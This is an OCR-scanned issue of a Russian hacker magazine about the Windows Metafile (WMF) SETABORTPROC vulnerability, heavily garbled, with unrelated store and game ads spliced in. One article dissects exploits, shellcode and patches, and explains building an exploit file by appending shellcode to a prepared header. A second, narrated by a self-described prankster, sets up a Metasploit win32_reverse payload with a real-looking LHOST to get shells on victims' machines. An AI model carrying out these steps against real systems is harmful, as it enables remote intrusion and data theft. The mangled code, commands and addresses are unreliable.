ѴѴІпсІоѵѵз 3.x и некоторые ІЛЧІХ-системы, добросовестно поддер- 
живающие вражеский ѵѵті-формат. В частности, сообщается об 
уязвимости популярного эмулятора ѵѵіпе и Мае 03. 

Кошмар! Или... еще одна раздутая сенсация? Эксперименты 
мыщъх’а показывают, что дела обстоят не так уж и плохо. Могло 
быть и хуже. Начнем с того, что, в отличие от печально извест- 
ных дыр в ЗОБ и ЭСОМ РіРС, ѴѴМР-файлы не поддерживают ав- 
томатическое размножение червей. Жертва должна загрузить 
метафайл из Сети и попытаться его отобразить. Имеется множе- 
ство сообщений, что Іпіегпеі Ехріогег и Оиііоок Ехргезз автомати- 
чески «воспроизводят» ѴѴМР-файлы, указанные в тэге ІМО, и это 
действительно так, однако лично мне ни один из эксплойтов зас- 
тавить работать так и не удалось (ѴѴ2К ЗР4 ІЕ 6.0), причем ІЕ 
отображает только расширенные (еті) метафайлы и только те 
из них, что имеют расширение ѴѴМР/ЕМР, но не діі или ]тр. 

Что же касается альтернативных браузеров, то Орега и ранние 
версии РігеРох (1 .0.4) не поддерживают отображение метафайлов, 
показывая пустой квадрат, щелчок по которому приводит к появле- 
нию диалогового окна, предлагающего сохранить файл на диск 
или открыть его с помощью ассоциированного с ним приложения. 
Обычно это уязвимый ѴѴІпсІоѵѵз Рісіиге апб Рах Ѵіеѵѵег, однако у 
меня он не установлен, так как я смотрю все файлы при помощи 
Місгозоіі Рііоіо ЕсІІІог’а (который не поддерживает ѴѴМР-файлов и 
потому неуязвим) или Ігіап ѴіеѵеГа (уязвим под ЫТ, но безопасен 
под 9х). Агрессивный характер Ѳоодіе Оезкіор ЗеагсИ мы уже от- 
мечали. Поздние версии РігеРох (1.5) открывают метафайлы при 
помощи ѴѴІпсІоѵѵз Месііа РІауег, который их ни хрена не поддержи- 
вает и потому зловредный код не получает управления. 

Но даже при «ручной» работе с (301 необходимо очень сильно 
постараться, чтобы выполнить код внутри ѴѴМР-файла. Возьмем 
ехріоіі.ѵѵті, прилагаемый к статье, и выбранный из ѴѴМР-сИеск- 
ег’а от Ильфака и попробуем вывести его на экран функцией 
РіауМеІаРііе, как показано в листинге 1. Под ѴѴ2К ЗР4 (другие 
системы не проверял) «честные» ѴѴМР-файлы нормально выво- 
дятся, подтверждая, что программа написана правильно, но 
ехріоіі.ѵѵті не получает управления! ЗИеІІ-код не выполняется, а 
ведь должен... Ріо стоит заменить контекст окна контекстом спе- 
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ОРГТЕХНИКА 
Т У Ю Щ И Е 



метро "Владыкино" 
Алтуфьевское шоссе, дом 16 
над магазином 

"Волшебный мир компьютеров" 
тел. 105-6441 
ѵѵѵѵѵѵ.рвоіопеі-зіисііо.ги 



Открой для себя 

новую 

реальность 



РегПіит'4 НТ 
іпзіде™ 



Благодаря компьютеру Ріехігоп ѴІР 
на базе процессора Іпіеі® Репііит® 4 
с технологией НТ Вы сможете 
насладиться реалистичными 
компьютерными играми. 



САЛОНЫ-МАГАЗИНЫ: 

ст.м.'Ъабушкинская", ул.Сухонская, 7А 

ст.м."Улица 1905 года", ул. Мантулинская, 2 
ст.м."Владыкино", Алтуфьевское ш., 16 . . . 



СЕРВИС-ЦЕНТР: 

(495)105-6447 ст.м.'Ъабушкинская", ул. Молодцова, 1 . 
.(495)105-6445 ФОТО ИНТЕРНЕТ КАФЕ: 

.(495 )1 05-6442 ст.м.'Ъладыкино", Алтуфьевское ш., 1 6 



.(495)105-6447 



(495)105-6441 



3000 наименований товаров Самый выгодный кредит за 15 мин. Время работы: 10-20, без выходных Бесплат- 
ная доставка* Удобная автостоянка Резервирование товара через интернет Пункт обмена валюты Оплата кре- 
дитными картами Подарки покупателям Соответствие стандартам Техническая поддержка Магазин аксессуа- 
ров Магазин компьютерной литературы Обучающий курс для работы на ПК в комплекте і 4 

* полную информацию о товарах и услугах в конкретных магазинах компании «Ф-Центр» уточняйте на сайте \ЛПѴ ѴѴ.^СбПІбГ.ГІІ 



ІпіеІ, логотип Іпіеі, Іпіеі Іпзісіе, логотип Іпіеі Іпзісіе, Іпіеі Сепігіпо, логотип Іпіеі Сепігіпо, Сеіегоп, Іпіеі Хеоп, Іпіеі ЗреебЗІер, Ііапіит, Репііит и Репііит III Хеоп являются товарными знаками 
гистрированными товарными знаками корпорации Іпіеі и ее подразделений в США и других странах. 
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метафайлы в действии! 



реакция ІЕ — ѴѴМР-файл с эксплойтом не 
отображается, и 5НеІІ-код не получает уп- 
равление; честный ѴѴМР-файл с «левым» 
расширением ді( также не отображается 



реакция браузера Орега на ѴѴМР-эксплойт — 
предложение открыть метафайл ассоциирован- 
ным с ним приложением (в данном случае ника- 
кое приложение не ассоциировано) 



циально созданного метафайла, как на экран выпрыгивает диа- 
логовое окно, вызываемое зЬеІІ-кодом: 

ОС = Сгеа1еЕпІгМе1аЕІІе(0, 0, 0, «Оегпо»); // проигры- 

ваем метафайл в другой метафайл 
й_те1а = йе1МеіаЕІІе(«ехрІоі1.ѵѵт1»); РІауМеіаРіІефС, 1і_теіа); 

Под ѴѴІФоѵѵв 98 ехріоіі.ѵѵті наглухо вешает систему, независящую 
от выбранного контекста. Так же поступают и другие эксплойты, 
выловленные в Сети. Так что количество уязвимых платформ ре- 
ально ограничивается одной лишь ІЧТ, причем версия под Іпіапіит 
требует специально спроектированного зРеІІ-кода. 

Вот тут некоторые задают вопрос: защищает ли ОЕР от атаки или 
нет? Аппаратный ОЕР предотвращает непредумышленное выполне- 
ние машинного кода в области данных, но не препятствует явному 
назначению нужных атрибутов функцией ѴігІиаІАІІос/ѴігІиаІРгоІесІ. 
Поэтому весь вопрос в том, в какой регион памяти загружает мета- 



5ЕТАВОРТРРОС, которая, в свою очередь, регистрирует поль- 
зовательскую саІІЬаск-функцию, изначально предназначен- 
ную для отмены заданий, уже находящихся в очереди на пе- 
чать. Это не единственная ѲОІ-функция, принимающая саІІ- 
Ьаск'и, есть и другие (как документированные, так и не сов- 
сем, например, ЦіпеООА, ЗеІІСММосІе), но, по-видимому, толь- 
ко МЕТА_Е8САРЕ/ЗЕТАВОРТРВОС может быть внедрена в ме- 
тафайл. Или все-таки нет? Дизассемблирование СЮ132.0И 
показывает огромное количество функций типа саІІ гед, где 
гед — указатель, полученный из ѴѴМЕ-файла, каждая из кото- 
рых может оказаться новым «священным граалем» и новой 
дырой, но не будем на них останавливаться, чтобы не облег- 
чать работу «специалистам по безопасности», питающихся 
чужими идеями. Впрочем, хакеры поступают точно так же, и 
прежде, чем разрабатывать собственного червя, препарируют 
уже существующие. Мы последуем этой тенденции и расковы- 
ряем сейчас какой-нибудь сплоит. 



файл то или иное приложение. 

ПТ ВЫБРАННОГО КОНТЕКСТА, 



♦ 



ПРЕПОРИРУЕМ СПЛОИТ 



СПАСЕТ ПИ ЛЕР? 

Попробуем это выяснить с помощью метафайла ехріоіі.ѵѵті и от- 
ладчика ОІІуОЬд. Чтобы бестолку не трассировать километры 
постороннего кода, давай внедрим в ехріоіі.ѵѵті точку останова, 
предварительно скопировав его в ѵѵтІ-іпІЗ.ѵѵтІ, чтобы не испор- 
тить оригинал. Открываем метафайл в біеѵѵ’е, давим <Е5> (доіо) 
и переходим по смещению ІСЬ, откуда, собственно говоря, и на- 
чинается актуальный зИеІІ-код. Переходим в режим редактирова- 
ния по <РЗ> и пишем ССН, пока не надоест. Сохраняем измене- 
ния по <Е9> и выходим. 

Берем с диска уже готовый файл РІауМеІаЕІІе.ехе и загружаем 
его в отладчик, нажимая <Б9> для запуска программы, которая 
тут же грохается, поскольку натыкается на забор из ОСЬ, каж- 
дый из которых соответствует машинной инструкции ІІ\ІТ ОЗН, 
вызываемой отладчиком. Смотрим на ЕІР. Он указывает на 
8В001 ОН (естественно, на других системах это значение может 
быть иным). Карта памяти показывает, что эта область памяти 
имеет атрибуты «Только на чтение» и при активном аппаратном 
ОЕР никакой код здесь исполняться не может (программный 
ОЕР от этого не защищает). Однако по умолчанию ОЕР задей- 
ствован только для некоторых системных служб, а пользова- 
тельские программы могут вытворять что угодно... Такая вот, 
значит, ситуация. 

А как ведет себя ІгТап Ѵіеѵѵег? Посмотрим-посмотрим. Регистр ЕІР 
указывает на 13031СН и, судя по карте памяти, находится глубо- 
ко в стеке, доступном как на чтение, так и на запись, но только не 
на исполнение. Значит, если задействовать ОЕР для всех прило- 
жений, ѴѴМР-эксплойты окажутся неработоспособны, однако да- 
леко не все процессоры поддерживают ОЕР, так что угроза атаки 
вполне актуальна, но все-таки не настолько велика, как это пыта- 
ются представить некоторые антивирусные компании. 

КАК РАБОТАЮТ ИЗВЕСТНЫЕ СПЛОИТЫ 

Известные мне эксплойты внедряют в ѴѴМР-файл еоваре-пос- 
ледовательность МЕТА_ЕЗСАРЕ, вызывающую функцию 



Для анализа хорошо подходит ѴѴМР Ехріоіі СНескег от Ильфака 
Гуильфанова, исходный код которого можно найти на нашем 
диске; там же лежит откомпилированный бинарник. Знай, что это 
никакой не сбескег, а самый настоящий эксплойт, внедряющий в 
ѴѴМР-файл машинный код, пытающийся вывести на экран Ѵоиг 
зузіет із ѵиіпегаЫе Іо ѴѴМР ехріоііз!. 

Распаковав дір-архив с исходными текстами, мы найдем семь 
файлов следующего содержания: 

* ІеІІ.азт: зМеМ-код, подготовленный к внедрению; 

* ѵѵт1_сІтескег_1іехЫод.срр: создает ѵѵті-файл, внедряет туда 
зілеіі-код и проигрывает его; 

* ѵѵтМаІа.срр: откомилированный ІеІІ.азт с готовым ѵѵті-за- 
головком; 

* ѵѵтІНсІг.ѵѵтІ: ѵѵті-заголовок с езсаре-последовательностью 
и функций ЗеІАЬогІРгос; 

ѵѵтісіаіа.срр представляет собой готовый ѴѴМР-файл с збеІІ-ко- 
дом, который можно скормить Іпіегпеі Ехрогег'у, ІгІапѴіеѵѵ’у или 
любой другой программе подобного типа, но только предвари- 
тельно необходимо преобразовать срр в Ьіп, поскольку у Ильфа- 
ка двоичные данные представлены в виде массива исНаг: 

зіаііс исМаг аггау[] = { 

0x01 ,0x00, 0x09, 0x00, 0x00, 0x03, ОхЕО, 0x00, 0x00, 0x00, 0x06, 0x0 
0,0x30,0x00,0x00,0x00, 

Теперь осталось только изменить тип массива исііаг на сНаг и до- 
бавить в ѵѵтібаіа.срр пару строк: 

/іпсіисіе <5ісІ і о . Іт> 

таіп()| РНЕ *1 = 1ореп(«ехрІоі1.ѵѵт1»,»ѵѵЬ»); 1ѵѵгі(е(аггау, зііе- 
оі(аггау), 1,1);} 

После этого осталось только собрать бинарник любым А[\ІЗІ-сов- 
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Описание: 

РаМгепІіеіІ (также известный как Іпбідо 
Ргорітесу) - один из главных хитов 2005 года. 
Это интерактивный триллер, где вы играете и 
за детективов, и за подозреваемого - и каждое 
ваше действие, каждый выбор имеет значение. 
Интуитивное управление, и интерфейс, дове- 
денный до минимализма, помогают погрузить- 
ся в игру с головой, а повороты сюжета про- 
держат вас в напряжении до самой развязки. 



Раіігепііеіі (ІпОідо РгорНесу) 


Жанр: 




$69.99 


Асіѵепіиге 


У 







Описание: 

Разработчики Ѳиііб ѴѴагз взяли все лучшие 
черты из других ММ0ВР6 и смешали их та- 
ким образом, что вы забудете обо всем том, 
что до сих пор раздражало вас в многополь- 
зовательских играх. Вы можете встретить но- 
вых друзей в городах и крепостях, сформиро- 
вать партию и тут же отправиться выполнять 
задания вместе. В вашей партии всегда будет 
копии карты квеста. 



биіісі ѴѴагз ЗресіаІ ЕРШоп (ЕІІРО) 


Жанр: 




$79.99 


я 

я 

о 


У 






Описание: 

Аде о( Етрігез III погрузит вас в атмосферу 
ХѴІ-ХІХ веков. Вам предстоит строить 
собственную империю, колонизировать и за- 
воевывать Северную и Южную Америку и 
участвовать в эпических войнах. Невиданный 
уровень реализма и великолепно отображен- 
ное культурное разнообразие порадуют даже 
самых утонченных эстетов. 
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принцип действия типичного ѴѴМР-эксплойта так червь атакует уязвимую систему неофициальный боНіх отсекает всех извест- 
ных червей, ломящихся в МЕТА_Е5САРЕ 



местимым компилятором и запустить полученный ѵѵтМаІа.ехе на 
выполнение. На диске образуется метафайл ехрІоіІ.ѵѵтГ Откро- 
ем его с помощью Іпіап Ѵіеѵѵг’а или любого другого просмотрщи- 
ка ѴѴМЕ-файлов, и если наша система уязвима, то на экран выс- 
кочит симпатичное диалоговое окошко. 

Попробуем дизассемблировать ѴѴМР-файл. Для этого нам понадо- 
бится ЮА Рго любой версии (можно ограничиться и біеѵѵ) и специ- 
фикация ѴѴМР-формата, которую можно нарыть на нашем диске. 
Метафайл состоит из заголовка (зіапсіагсі теіаіііе беабег) и про- 
извольного количества фреймовых записей (зіапсіагсі теіайіе 
гесопф. Расширенный метафайл устроен чуть-чуть сложнее, но 
мы не будем в него углубляться. Заголовок представляет собой 
структуру следующего типа: 

структура заголовка метафайла 

ІуресІеІ зігисі .ѴѴІпсІоѵѵзІѴІеІаНеасІег 
I 

ѴѴОРЮ РІІеТуре; //тип метафайла (0 == память, 1 == диск) 
ѴѴОРЮ НеасІегЗіге; //размер заголовка в словах (всегда 9) 
ѴѴОРЮ Ѵегзіоп; //требуемая версия ѴѴіпсІоѵѵз 
0\Л/ОРЮРіІеЗі2е;//полный размер метафайла в словах 
ѴѴОРЮ МитОГОЬІесІ5;//количество объектов в файле 
ОѴѴОРЮМахВесогсІ5І2е;//тах размер записи в словах 
ѴѴОРЮ І\ІитОРРагат$;//не используется (== 0) 

) ѴѴМРНЕАО; 

А каждая фреймовая запись устроена так: 

структура фреймовых записей 

ІуресІеР зігисі _51апсІагсІМеіаРесогб 
( 

0ѴѴ0РЮ8ііе;//полный размер записи в словах 
ѴѴОРЮ РипсІіоп;//номер функции и количество параметров 
ѴѴОРЮ Рагатеіегз[];//значения передаваемых параметров 
) ѴѴМРРЕСОРО; 

ДИЗАСЭМБЛИРУЕМ СПЛОИТ 

Последняя запись всегда имеет вид 00036 00006 00006 (размер 
заголовка — ОЗГі слова, функция — ЫІЛ_І_, параметров нет), что 
интерпретируется как «конец метафайла». 

Теперь покурим и начнем дизассемблировать ехріоіі.ѵѵті. В нача- 
ле идет стандартный ѴѴМР-заголовок, большинство полей кото- 
рого игнорируются и потому могут принимать любые значения. 
Главное, чтобы РІІеТуре == 1, НеасІегЗііе == 9, Ѵегзіоп было 1006 
или ЗООГі, а ЕІІеЗіае содержало достоверный размер файла, в 
противном случае ІгГапѴіеѵѵг и другие графические программы 
обломаются с открытием метафайла. Это обстоятельство можно 
использовать для создания полиморфных червей и прочей жив- 
ности. Кстати говоря, функция РІауМеІаЕІІе допускает большую 
вольность, не проверяя поля РІІеТуре и РІІеЗіде. 

К заголовку примыкает первая фреймовая запись, содержа- 
щая вызов функции МЕТА_ЕЗСАРЕ (код 6266) с подфункцией 
ЗЕТАВОРТРРОС (код 00096), принимающей два параметра: 
дескриптор контекста устройства (в данном случае равен 166, 
но может быть любым) и машинный код, которому будет пере- 



дано управление, то есть збеІІ-код. Коды всех документирован- 
ных функций описаны в ѴѴІІЧѲОІ.Н (см. «/* Меіаіііе Рцпсііопз */»), 
там же можно найти и Езсаре-последовательности. 
Дизассемблирование ѲЭІ32.0И показывает, что ѴѴіпсІоѵѵз считыва- 
ет только младший байт функции (для Езсаре это 266), а в старшем 
передает количество параметров, которое никто не проверяет! Та- 
ким образом, чтобы распознать зловредный ѴѴМЕ-файл, необходи- 
мо проанализировать все фреймовые записи в поисках функции 
266, подфункции 96. 

Размер фреймовой записи необязательно должен соответствовать 
действительности, а также совершенно необязательно вставлять 
замыкающую фреймовую запись, как того требует ѴѴМЕ-специфи- 
кация, поскольку, когда збеІІ-код получит управление, все специфи- 
кации идут лесом. 

Что же касается самого збеІІ-кода, то он вполне стандартен. Иль- 
фак определяет базовый адрес КЕВ1\1Е1_32.Э1_1_ через РЕВ, (что 
не работает на 9х), разбирает таблицу экспорта, находит адрес 
АРІ-функции ЦоабиЬгагуА, загружает 113ЕВ32.01_1_ и выводит «ру- 
гательство» через МеззадеВохА. Чтобы збеІІ-код работал, под 9х 
необходимо переписать функцию Ое1КгпІ32асІбг, научив ее нахо- 
дить КЕВЫЕІ_32.0І_І_ прямым поиском в памяти. Мы уже писали об 
этом в статье «Техника написания переносимого збеІІ-кода», так 
что не будем повторяться, а лучше разберем другой эксплойт, 
который будет посложнее. 

Пусть это будет Меіазріоіі Ргатеѵѵогк (его можно скачать с 
ѵѵѵуѵѵ.теІазрІоН.сот или взять на нашем диске). Это полиморф- 
ный эксплойт, с движком целиком написанным на Перле, способ- 
ный нести любую боевую начинку в переменной РауІ_оа<± 

Г енерация ѴѴМЕ-файла происходит так же, как и прошлый раз, 
только теперь некритичные поля выбираются случайно, а сам 
збеІІ-код внедряется в произвольное место между «мусорны- 
ми» фреймами, что ослепляет примитивные сканеры и бранд- 
мауэры. Последовательность 266 ?? 096 006 остается постоян- 
ной, но она слишком коротка для обнаружения, а разбирать 
все фреймы вручную сможет только специальным образом на- 
писанный сканер. 

Маленький нюанс: у Ильфака збеІІ-код располагается за незна- 
чащим словом бЭС, а в МеІазрІоіГе он следует сразу же за под- 
функцией 8ЕТАВОВТРВОС, во всяком случае так кажется при 
беглом анализе листинга. Переменная $збеІІсосІе состоит из 
двух частей: фиктивного поля Зрасе и боевой начинки, распо- 
ложенной ниже. 

Чтобы написать свой эксплойт, необходимо сгенерировать 
ѴѴМЕ-заголовок, дописать фреймовую запись МЕТА_ЕЗСАРЕ/ 
ЗЕТАВОРТРРОС и прицепить збеІІ-код. В исходных текстах 
ѴѴМР-сбескег’а содержится файл ѵѵтіМг.ѵѵтІ, в котором уже 
есть заголовок и готовый фрейм. Не хватает только боевой на- 
чинки, но это легко исправить командой сору /Ь ѵѵтібсіг.ѵѵті + 
збеІІ-собе.Ып ехріоіі.ѵѵті, где збеІІ-сосіе.Ьіп — любой збеІІ-код, 
выдернутый из червя или разработанный самостоятельно. 

КАК ЗАЩИЩАТЬСЯ 

Прежде чем защищаться, неплохо бы выяснить: уязвима ли 
твоя система? Можно, конечно, использовать ѴѴМЕ-сбескег от 
Ильфака, но он работает только на ІЧТ-подобных системах. 
Попробуем его доработать: берем ѵѵтібсіг.ѵѵті, дописываем к 
нему СС6 и скармливаем его различным графическим програм- 
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мам. Если система уязвима, то на экране появится сообщение 
о критической ошибке, а ЕІР будет указывать на ІЫТ 036. Это оз- 
начает, что червь может наброситься в любую секунду и зара- 
зить, если уже не заразил. 

Официальная заплатка от Місгозой доступна по адресу: 
ѵ'ЛАЛ/ѵ.тісгозоЙ.сот/ГесІіпеГ/зесигіГѵ/ВиІІеІіп/тзОв-ООІ.тзрх . а также ле- 
жит на нашем диске. Как всегда, это здоровый (на полметра, а точнее 
даже -600 Кб) файл, делающий непонятно что и непонятно зачем. 
Установка новых заплаток часто сопровождается проблемами, выле- 
зающими совсем в неожиданных местах. Что же делать? А вот что. 
Сейчас мы с тобой посмотрим, что находится внутри этой заплатки. 
Первый делом возьмем патч с диска (файл ѴѴІпсіо\л/52000-КВ91 2919- 
х86-ВІІ8.ЕХЕ), поднимем Ніеѵѵ и найдем сигнатуру МЗСР. Она долж- 
на встретиться, как минимум, дважды. Первый раз — в исполнимом 
файле инсталлятора (по смещению 000044226), второй — в начале 
саЬ-архива (000090006), перед которым, как правило, идет длинная 
цепочка «ОІЫОРАООІЫѲХХРАО», оставленная для выравнивания, 
а дальше — беспорядочно разбросанные имена файлов. 
Подгоняем курсор к «МЗСР», нажимаем <*>, а затем <СігІ>+<Епб>. 
Нажимаем <*> еще раз и копируем содержимое выделенного бло- 
ка в файл по <Р2>. Выдранный саЬ-архив легко распаковать обыч- 
ным гаг’ом. В нем лежат, главным образом, следующие файлы: 

* 60132. ИИ. Эта библиотека была обновлена: изменилась да- 
та и размер, причем размер изменился в меньшую сторону, что 
совсем не характерно для МісговоЯ. Судя по штампу времени, 
он был скомпилирован 29 декабря в 13:17:07, а дата созда- 
ния/последней модификации установлена на 30.1 2.05/08:1 7, то 
есть программисты сработали очень оперативно, а все осталь- 
ное время заняло тестирование или, вообще, непонятно что. 

* МР3216.РП. Этот файл остался без изменений. 

* ЗРМЗб.ЭИ. Эта ОН представляет собой ресурс с текстовыми 
сообщениями. 

Ничего ужасного в этом апдейте нет, так что можешь безбоязненно его 
себе устанавливать :). Хотя я ограничился лишь апдейтом от Ильфака. 

КСТАТИ, ОБ ИЛЬФАКЕ 

Ильфаку я верю больше, чем себе. Опыт программирования 
у него огромный и, главное, к бойіх’у прилагаются исходные коды 
0тйр://саз1ІесоРБ.сот/сІоѵѵпІоасІ5-ПІе-499-сІе{аіІз- 
ѴѴМР бойіх зоигсе собе.бГтП . из крторых ясно, как он работает. 
Уже откомпилированный файл доступен по адресу: 
6йр://саз1Іесорз.сот/сІо\л/пІоасІ5-ГІІе-496-сІеГаіІ5- 
ІІГакз Тетрогагѵ ѴѴМР РаГсб.бІтІ . Инсталлятор копирует крошеч- 
ную (всего 3 Кб) динамическую библиотеку ѵѵтТИоІТіх.сІІІ 
в системный каталог ѴѴІпбсѵѵз и модифицирует ветку реестра 
НКЕМХЗсЙѵѵагеМѴІІсгозсйХѴѴІпсІомз МТ\Сиггеп(Ѵегзіоп\\/Ѵіпбоѵѵз\ 
АррІпі(_ОІ_І_з, проецируя ОШ на все процессы, загружающие 

изЕнзг.ои. 

Оттуда, из ОІІМаіп, он загружает 00132. ОШ, определяет адрес 
функции Езсаре и, предварительно присвоив нужные атрибуты 
вызовом ѴігІиаІРгоІесІ, дописывает к ее началу крохотный Гбипк, 
анализирующий аргументы, и если Гипс == ЗЕТАВОВТРРОС, то 
возвращает хог еах, еах/рор еЬр/геГп 146. 

Некоторые антивирусные программы и защитные системы (такие, нап- 
ример, как йаѵазой’з АсІ-ѴѴаІсб) не позволяют приложениям модифици- 
ровать ветку АррІпИДОИз, автоматически восстанавливая ее содержи- 
мое. В этом случае бойіх не сработает, пока разбушевавшегося «сторо- 
жа» не удастся утихомирить вручную. Кстати говоря, чтобы временно 
отключить бойіх, достаточно просто переименовать мтГбоЙіх.сІІІ. 



ЗАКЛЮЧЕНИЕ 

Найденный баг лишний раз подтверждает печальный тезис: програ- 
ммное обеспечение от Місгозой катастрофически ненадежно и ды- 
ряво, как дуршлаг. В критически важных инфрастуктурах лучше ис- 
пользовать альтернативные операционные системы, например, ВЗЭ 
или... ѴѴІпбоѵѵз 98. Забавно, но атаковать 9х сейчас намного слож- 
нее, чем 6ІТ, и черви под ней практически не распространяются. 

ВІЫДПѴ ѴОІЖ 5 -ц 



ВН УТРИ СРШ.РІХ ^^^Р 

Дизассемблирование СВІ32.ВІХ лучше всего 
начинать с функции Ріау М с Г а Н і 1 с К с с о гсі / 

1 1 1 ау К п Ь М с г а Н і 1 с Кс со гсі . Функция 
Р1 ау Мега Ь’ііе Косо гсі представляет собой огром- 
ный 8\ѵігс1і, на сазе-ветвях которого располо- 
жены вызываемые СПІ-фумкции, а 
1 1 1 ау Н 11 Ь М с г а Р і 1 е Кс со гсі использует табличный 
метод вызова: 

дизассемблерный фрагмент РІаѵЕпІіМеІаРІІеВесогсІ из 
6РІ32.РИ ѴѴ2К5Р4 



,1ехі:77Р70СВ7 


тоѵ 


еЬх, [еЬр+агд_С] 


,1ех1:77Р70СВА 


ризіі 


езі 


,1ех1:77Р70СВВ 


ризИ 


ебі 


,1ех1:77Р70СВС 


тоѵ 


еах, [еЬх] 


,1ех1:77Р70СВЕ 


стр 


еах, 1 


,1ех1:77Р70СС1 


)Ь 


збогі Іос_77Р70СРР 


,1ехІ:77Р70ССЗ 


стр 


еах, 7А6 


,1ехі:77Р70СС6 


іа 


збогі Іос_77Р70СРР 


,1ех1:77Р70СС8 


ризИ 


[еЬр+агд_1 0] 


,1ехі:77Р70ССВ 


тоѵ 


есх, еЬх 


,1ех1:77Р70ССВ 


ризб 


[еЬр+агд_8] 


,1ех1:77Р70СР0 


ризИ 


[еЬр+агд_4] 


,1ех1:77Р70СРЗ 


саІІ 





о11_77Р7В62С[еах*4] 

Последовательно перебирая одну функцию за 
другой, смотрим, не принимают ли они саіі- 
Ьаск’и в качестве одного из своих аргументов 
(эту информацию можно почерпнуть из ЯІЖ), 
и если принимают, то не позволяют ли переда- 
вать указатель внутри ѴѴМР-файла. Есть подоз- 
рение, что это не последняя дыра в СЭІ :) 
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ТЕХТЕТОО// 



МЕТАВЕСЕЛЬЕ 
НА ПРАКТИКЕ 

ПРАКТИЧЕСКОЕ ИСПОЛЬЗОВАНИЕ УЯЗВИМОСТИ 
В ОБРАБОТКЕ ѴѴМР-ФАЙЛОВ 



ІІТЫ, БЕЗ СОМНЕНИЙ, СЛЫШАЛ О НОВОМ МЕГАПОПУЛЯРНОМ БАГЕ В ПРОДУКТАХ 
МІСРОЗОЕТ, ПОЗВОЛЯЮЩЕМ ТВОРИТЬ НАСТОЯЩИЕ ЧУДЕСА. ЗАКАЧАТЬ ПОСЕТИТЕ- 
ЛЮ СТРАНИЦЫ ТРОЯНА? БЕЗ ПРОБЛЕМ! ОРГАНИЗОВАТЬ СОИВАСК-ДОС^П К ШЕЛЛУ? 
КАКИЕ ВОПРОСЫ! УТАЩИТЬ ПАРОЛИ И ВСЕ ТАКОЕ ПРОЧЕЕ? ЭЛЕМЕНТАРНО! БАГ, 
СТАВШИЙ ПУБЛИЧНЫМ В САМЫЙ РАЗГАР НОВОГОДНЕЙ ШУМИХИ, ПРОДОЛЖАЕТ И ПО 
СЕЙ ДЕНЬ ГРОЗИТЬ ПАЛЬЧИКОМ ВСЕМ ПОЛЬЗОВАТЕЛЯМ ѴѴІЫЭОѴѴЗ, НЕ СЛЕДЯЩИМ 
ЗА ОБНОВЛЕНИЯМИ СИСТЕМЫ. СЕЙЧАС Я РАССКАЖУ О ТОМ, КАК СЕТЕВЫЕ ОТМОРОЗ- 
КИ, НЕГОДЯИ И ПРОХИНДЕИ НА ПРАКТИКЕ ИСПОЛЬЗУЮТ ЗЛОВРЕДНЫЙ СПЛОИТрр 



ТЫ УЖЕ ПОНЯЛ? 

Да, конечно, понял. Речь идет о тех самых багах при обработке 
ѴѴМР-файлов, которым посвящена огромная статья Криса Кас- 
перски в этом номере. Там Крис рассказывает об историческом 
происхождении этого бага, показывает, как его используют чер- 
ви для распространения и как работают все увиденные им спло- 
иты. Но все то, о чем он там говорит, носит серьезный систем- 
ный характер. Сегодня наша цель — разобраться с тем, как се- 
тевые засранцы на практике используют опубликованные в Се- 
ти эксплойты. Скажу даже больше: я сам отношусь к этим сете- 
вым паразитам и поэтому изложение буду вести от первого ли- 
ца. Расскажу о том, как я веселился над своими друзьями. 

ПЕРВЫМ ДЕЛОМ 

Что нужно сначала сделать? Правильно: сначала надо скачать спло- 
ит с любого из многочисленных сайтов, где он выложен. Я воспользо- 
вался следующим линком: ѵѵѵѵѵѵ.зесигіІѵІаЬ.ги/ рос/ехІга/243579.рІтр . 
Если тебе лень его перебивать из журнала, то можно воспользовать- 
ся поиском на сайте или просто взять сорец сплоита с диска. Не за- 
бывай, используя его, ты сам несешь за это всяческую этико-уголов- 
ную ответственность. 

При первом взгляде на сплоит у непосвященного человека возникает 
ряд вопросов. В самом деле, что означают строки в начале сплоита? 

раскаде М5І::ЕхрІоіі::іе_хр_рІѵ_теШІІе; 

изе зігісі; 



Что-то непонятное. Беглый осмотр программы позволяет выска- 
зать предположение, что это РегІ-скрипт. Однако почему нет 
знакомой строки с указанием пути к интерпретатору? Что-то 
здесь не так. И действительно, чтобы разобраться с этим, нужно 
перевести английский текст в заголовке сплоита: «Этот файл — 
часть Меіазріоіі Ргатеѵѵогк и может распространяться так, как 
тебе хочется; последнюю версию Ргатеѵѵогк можно слить с 
ѵѵѵѵѵѵ.тѳіазріоіі.сот ». Это жизнеутверждающее предложение, 
наверное, заставило тебя задуматься еще больше. Если так, то 
тебе будет полезно узнать побольше о Меіазріоіі Ргатеѵѵогк. По- 
читать об этом амбициозном проекте можно в соответствующей 
врезке. А я перехожу к зловредной практике :). 

ЗЛО-ПРАКТИКА 

Проект метасплоит целиком написан на перле, поэтому выпол- 
нять его можно почти на любой платформе. Мне для этого удоб- 
но воспользоваться шеллом на машине под РгееВЗО. 

Скачиваем проект: 

ѵѵаеі Іі11р://ѵѵѵѵѵѵ.те1азрІоі1.сот/1ооІз/Ігатеѵѵогк-2.5-зпарзЬо1.1аг.аг 
Разархивируем его: 

Іаг хіѵі Фате\л/огк-2.5-5парзйоиаг.д2 
ссі Ігатеѵгогк-2.5 

В директории с проектом ты найдешь немало файлов и папок. 
Папка со сплоитами называется вполне адекватно — ехріоііз :). 
Именно там лежат все доступные сплоиты, каждый с расшире- 
нием рт. Если ты сделаешь Із в этой папке, то увидишь среди 
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прочих эксплойт с именем Іе_хр_р1ѵ_те1а1і1е.рт. Это и есть та 
отмычка, о которой мы сегодня говорим. Как видишь, новый 
сплоит уже загружен в базу и ждет, когда мы его заюзаем. 

НАЧИНАЕМ ТЕРМОЯД 

Основная программа, с которой я буду работать, называется 
тзісопзоіе. Как и все остальное, она написана на перле. Запус- 
каю программу: 

./тзісопзоіе 

Передо мной появляется своеобразная командная строка, даль- 
нейший диалог с которой выглядит следующим образом: 

тз! > изе іе_хр_р!ѵ_теІа!ІІе 

тз! іе_хр_р!ѵ_теІа!ІІе > зеі РАУШАй \д/іп32_геѵегзе 

РАУШАй -> ѵѵіп32_геѵегзе 

тз! Іе_хр_р1ѵ_те(а1і1е(\д/іп32_геѵегзе) > зеі ШОЗТ 218.10.30.191 
ШОЗТ ->218.10.30.191 
тз! Іе_хр_р!ѵ_те1а!і1е(\л/іп32_геѵегзе) > ехріоіі 
[*] Зіагііпд Реѵегзе НапсІІег. 

[*] ѴѴаіІіпд Іог соппесііопз Іо МІр://0.0.0.0:8080/апуІЫпд.ѵѵт1 

Первой строчкой я указываю на то, какой эксплойт я собираюсь 
